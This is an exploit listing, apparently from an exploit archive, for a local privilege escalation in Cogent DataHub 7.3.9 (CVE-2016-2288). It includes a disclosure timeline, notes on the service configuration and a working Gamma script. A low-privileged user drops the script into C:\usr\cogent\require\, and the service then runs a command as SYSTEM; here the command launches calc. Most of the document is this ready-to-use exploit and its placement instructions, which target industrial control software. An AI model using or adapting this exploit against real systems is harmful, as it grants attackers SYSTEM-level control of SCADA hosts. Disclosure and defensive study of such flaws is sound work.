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Cogent Datahub 7.3.9 Gamma Script - Elevation of Privilege
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Security Risk High
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/* # Exploit Title: Cogent Datahub <= 7.3.9 Gamma Script Elevation of Privilege Vulnerability # Google Dork: lol # Date: 28/3/2016 # Exploit Author: mr_me # Vendor Homepage: http://www.cogentdatahub.com/ # Software Link: http://www.cogentdatahub.com/Contact_Form.html # Version: <= 7.3.9 # Tested on: Windows 7 x86 # CVE : CVE‑2016-2288 sha1sum: c1806faf0225d0c7f96848cb9799b15f8b249792 CogentDataHub-7.3.9-150902-Windows.exe Advsiory: https://ics-cert.us-cert.gov/advisories/ICSA-16-084-01 Timeline: ========= - 02/12/2015 : vuln found, case opened to the zdi - 09/02/2016 : case rejected (not interested in this vuln due to vector) - 26/02/2016 : reported to ICS-CERT - 24/03/2016 : advisory released Notes: ====== - to reach SYSTEM, the service needs to be installed via the Service Manager - the service doesnt need to be installed, as long as 'C:\Program Files\Cogent\Cogent DataHub\CogentDataHubV7.exe' has been executed by a privileged user - an attacker does NOT need to restart the machine or the service in order to EP, the service just polls for the Gamma Script Exploitation: ============= As a Guest user (or low privileged user) save this file as 'WebstreamSupport.g' into C:\usr\cogent\require\ and enjoy the free SYSTEM calcs. Most OS's dont allow a write into c:\ as guest, but we are in the SCADA world. Anything is possible. C:\Users\steven>sc qc "Cogent DataHub" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Cogent DataHub TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Cogent\Cogent DataHub\CogentDataHubV7.exe" -H "C:\Users\steven\AppData\Roaming\Cogent DataHub" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Cogent DataHub DEPENDENCIES : RPCSS SERVICE_START_NAME : LocalSystem C:\Users\steven> */ require ("Application"); require ("AsyncRun"); // thanks to our friends @ Cogent class WebstreamSupport Application { } method WebstreamSupport.constructor () { RunCommandAsync(nil, nil, "cmd.exe /c calc", "c:\\"); } Webstream = ApplicationSingleton (WebstreamSupport); # 0day.today [2024-07-03] #